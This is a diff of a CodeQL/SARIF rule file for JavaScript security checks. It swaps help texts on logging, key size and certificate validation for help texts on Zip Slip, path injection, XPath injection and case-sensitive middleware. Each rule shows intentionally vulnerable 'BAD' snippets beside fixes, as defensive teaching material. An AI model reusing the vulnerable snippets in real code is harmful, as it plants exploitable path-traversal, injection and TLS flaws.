-            "text" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n",
-            "markdown" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n"
+            "text" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n",
+            "markdown" : "# Case-sensitive middleware path\nUsing a case-sensitive regular expression path in a middleware route enables an attacker to bypass that middleware when accessing an endpoint with a case-insensitive path. Paths specified using a string are case-insensitive, whereas regular expressions are case-sensitive by default.\n\n\n## Recommendation\nWhen using a regular expression as a middleware path, make sure the regular expression is case-insensitive by adding the `i` flag.\n\n\n## Example\nThe following example restricts access to paths in the `/admin` path to users logged in as administrators:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\nA path such as `/admin/users/45` can only be accessed by an administrator. However, the path `/ADMIN/USERS/45` can be accessed by anyone because the upper-case path doesn't match the case-sensitive regular expression, whereas Express considers it to match the path string `/admin/users`.\n\nThe issue can be fixed by adding the `i` flag to the regular expression:\n\n\n```javascript\nconst app = require('express')();\n\napp.use(/\\/admin\\/.*/i, (req, res, next) => {\n    if (!req.user.isAdmin) {\n        res.status(401).send('Unauthorized');\n    } else {\n        next();\n    }\n});\n\napp.get('/admin/users/:id', (req, res) => {\n    res.send(app.database.users[req.params.id]);\n});\n\n```\n\n## References\n* MDN [Regular Expression Flags](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#advanced_searching_with_flags).\n* Common Weakness Enumeration: [CWE-178](https://cwe.mitre.org/data/definitions/178.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-359", "external/cwe/cwe-532" ],
-            "description" : "Logging sensitive information without encryption or hashing can\n              expose it to an attacker.",
-            "id" : "js/clear-text-logging",
-            "kind" : "path-problem",
-            "name" : "Clear-text logging of sensitive information",
+            "tags" : [ "security", "external/cwe/cwe-178" ],
+            "description" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths.",
+            "id" : "js/case-sensitive-middleware-path",
+            "kind" : "problem",
+            "name" : "Case-sensitive middleware path",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.5"
+            "problem.severity" : "warning",
+            "security-severity" : "7.3"
           }
         }, {
-          "id" : "js/build-artifact-leak",
-          "name" : "js/build-artifact-leak",
+          "id" : "js/zipslip",
+          "name" : "js/zipslip",
           "shortDescription" : {
-            "text" : "Storage of sensitive information in build artifact"
+            "text" : "Arbitrary file access during archive extraction (\"Zip Slip\")"
           },
           "fullDescription" : {
-            "text" : "Including sensitive information in a build artifact can expose it to an attacker."
+            "text" : "Extracting files from a malicious ZIP file, or similar type of archive, without validating that the destination file path is within the destination directory can allow an attacker to unexpectedly gain access to resources."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
-            "markdown" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
+            "text" : "# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n",
+            "markdown" : "# Arbitrary file access during archive extraction (\"Zip Slip\")\nExtracting files from a malicious zip file, or similar type of archive, is at risk of directory traversal attacks if filenames from the archive are not properly validated. archive paths.\n\nZip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to create a filesystem path, then a file operation may happen in an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\nFor example, if a zip file contains a file entry `..\\sneaky-file`, and the zip file is extracted to the directory `c:\\output`, then naively combining the paths would result in an output file path of `c:\\output\\..\\sneaky-file`, which would cause the file to be written to `c:\\sneaky-file`.\n\n\n## Recommendation\nEnsure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.\n\nThe recommended way of writing an output file from a zip archive entry is to check that `\"..\"` does not occur in the path.\n\n\n## Example\nIn this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // BAD: This could write any file on the filesystem.\n    entry.pipe(fs.createWriteStream(fileName));\n  });\n\n```\nTo fix this vulnerability, we need to check that the path does not contain any `\"..\"` elements in it.\n\n\n```javascript\nconst fs = require('fs');\nconst unzip = require('unzip');\n\nfs.createReadStream('archive.zip')\n  .pipe(unzip.Parse())\n  .on('entry', entry => {\n    const fileName = entry.path;\n    // GOOD: ensures the path is safe to write to.\n    if (fileName.indexOf('..') == -1) {\n      entry.pipe(fs.createWriteStream(fileName));\n    }\n    else {\n      console.log('skipping bad path', fileName);\n    }\n  });\n\n```\n\n## References\n* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability).\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ],
-            "description" : "Including sensitive information in a build artifact can\n              expose it to an attacker.",
-            "id" : "js/build-artifact-leak",
+            "tags" : [ "security", "external/cwe/cwe-022" ],
+            "description" : "Extracting files from a malicious ZIP file, or similar type of archive, without\n              validating that the destination file path is within the destination directory\n              can allow an attacker to unexpectedly gain access to resources.",
+            "id" : "js/zipslip",
             "kind" : "path-problem",
-            "name" : "Storage of sensitive information in build artifact",
+            "name" : "Arbitrary file access during archive extraction (\"Zip Slip\")",
             "precision" : "high",
             "problem.severity" : "error",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/insufficient-key-size",
-          "name" : "js/insufficient-key-size",
+          "id" : "js/path-injection",
+          "name" : "js/path-injection",
           "shortDescription" : {
-            "text" : "Use of a weak cryptographic key"
+            "text" : "Uncontrolled data used in path expression"
           },
           "fullDescription" : {
-            "text" : "Using a weak cryptographic key can allow an attacker to compromise security."
+            "text" : "Accessing paths influenced by users can allow an attacker to access unexpected resources."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n",
-            "markdown" : "# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n"
+            "text" : "# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n",
+            "markdown" : "# Uncontrolled data used in path expression\nAccessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.\n\n\n## Recommendation\nValidate user input before using it to construct a file path.\n\nThe validation method you should use depends on whether you want to allow the user to specify complex paths with multiple components that may span multiple folders, or only simple filenames without a path component.\n\nIn the former case, a common strategy is to make sure that the constructed file path is contained within a safe root folder. First, normalize the path using `path.resolve` or `fs.realpathSync` to remove any \"..\" segments. You should always normalize the file path since an unnormalized path that starts with the root folder can still be used to access files outside the root folder. Then, after you have normalized the path, check that the path starts with the root folder.\n\nIn the latter case, you can use a library like the `sanitize-filename` npm package to eliminate any special characters from the file path. Note that it is *not* sufficient to only remove \"../\" sequences: for example, applying this filter to \".../...//\" would still result in the string \"../\".\n\nFinally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that the user input matches one of these patterns.\n\n\n## Example\nIn the first (bad) example, the code reads the file name from an HTTP request, then accesses that file within a root folder. A malicious user could enter a file name containing \"../\" segments to navigate outside the root folder and access sensitive files.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // BAD: This function uses unsanitized input that can read any file on the file system.\n  res.write(fs.readFileSync(ROOT + filePath, 'utf8'));\n});\n```\nThe second (good) example shows how to avoid access to sensitive files by sanitizing the file path. First, the code resolves the file name relative to a root folder, normalizing the path and removing any \"../\" segments in the process. Then, the code calls `fs.realpathSync` to resolve any symbolic links in the path. Finally, the code checks that the normalized path starts with the path of the root folder, ensuring the file is contained within the root folder.\n\n\n```javascript\nconst fs = require('fs'),\n      http = require('http'),\n      path = require('path'),\n      url = require('url');\n\nconst ROOT = \"/var/www/\";\n\nvar server = http.createServer(function(req, res) {\n  let filePath = url.parse(req.url, true).query.path;\n\n  // GOOD: Verify that the file path is under the root directory\n  filePath = fs.realpathSync(path.resolve(ROOT, filePath));\n  if (!filePath.startsWith(ROOT)) {\n    res.statusCode = 403;\n    res.end();\n    return;\n  }\n  res.write(fs.readFileSync(filePath, 'utf8'));\n});\n```\n\n## References\n* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal).\n* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package.\n* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html).\n* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html).\n* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html).\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-326" ],
-            "description" : "Using a weak cryptographic key can allow an attacker to compromise security.",
-            "id" : "js/insufficient-key-size",
-            "kind" : "problem",
-            "name" : "Use of a weak cryptographic key",
+            "tags" : [ "security", "external/cwe/cwe-022", "external/cwe/cwe-023", "external/cwe/cwe-036", "external/cwe/cwe-073", "external/cwe/cwe-099" ],
+            "description" : "Accessing paths influenced by users can allow an attacker to access\n              unexpected resources.",
+            "id" : "js/path-injection",
+            "kind" : "path-problem",
+            "name" : "Uncontrolled data used in path expression",
             "precision" : "high",
-            "problem.severity" : "warning",
+            "problem.severity" : "error",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/disabling-certificate-validation",
-          "name" : "js/disabling-certificate-validation",
+          "id" : "js/xpath-injection",
+          "name" : "js/xpath-injection",
           "shortDescription" : {
-            "text" : "Disabling certificate validation"
+            "text" : "XPath injection"
           },
           "fullDescription" : {
-            "text" : "Disabling cryptographic certificate validation can cause security vulnerabilities."
+            "text" : "Building an XPath expression from user-controlled sources is vulnerable to insertion of malicious code by the user."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n",
-            "markdown" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n"
-          },
+            "text" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n",
+            "markdown" : "# XPath injection\nIf an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression.\n\n\n## Recommendation\nIf user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression.\n\n\n## Example\nIn this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values.\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // BAD: Use user-provided data directly in an XPath expression\n  let badXPathExpr = xpath.parse(\"//users/user[login/text()='\" + userName + \"']/home_dir/text()\");\n  badXPathExpr.select({\n    node: root\n  });\n});\n\n```\nInstead, embed the user input using the variable replacement mechanism offered by `xpath`:\n\n\n```javascript\nconst express = require('express');\nconst xpath = require('xpath');\nconst app = express();\n\napp.get('/some/route', function(req, res) {\n  let userName = req.param(\"userName\");\n\n  // GOOD: Embed user-provided data using variables\n  let goodXPathExpr = xpath.parse(\"//users/user[login/text()=$userName]/home_dir/text()\");\n  goodXPathExpr.select({\n    node: root,\n    variables: { userName: userName }\n  });\n});\n\n```\n\n## References\n* OWASP: [Testing for XPath Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection).\n* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection).\n* npm: [xpath](https://www.npmjs.com/package/xpath).\n* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html).\n"
+          },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-295", "external/cwe/cwe-297" ],
-            "description" : "Disabling cryptographic certificate validation can cause security vulnerabilities.",
-            "id" : "js/disabling-certificate-validation",
-            "kind" : "problem",
-            "name" : "Disabling certificate validation",
-            "precision" : "very-high",
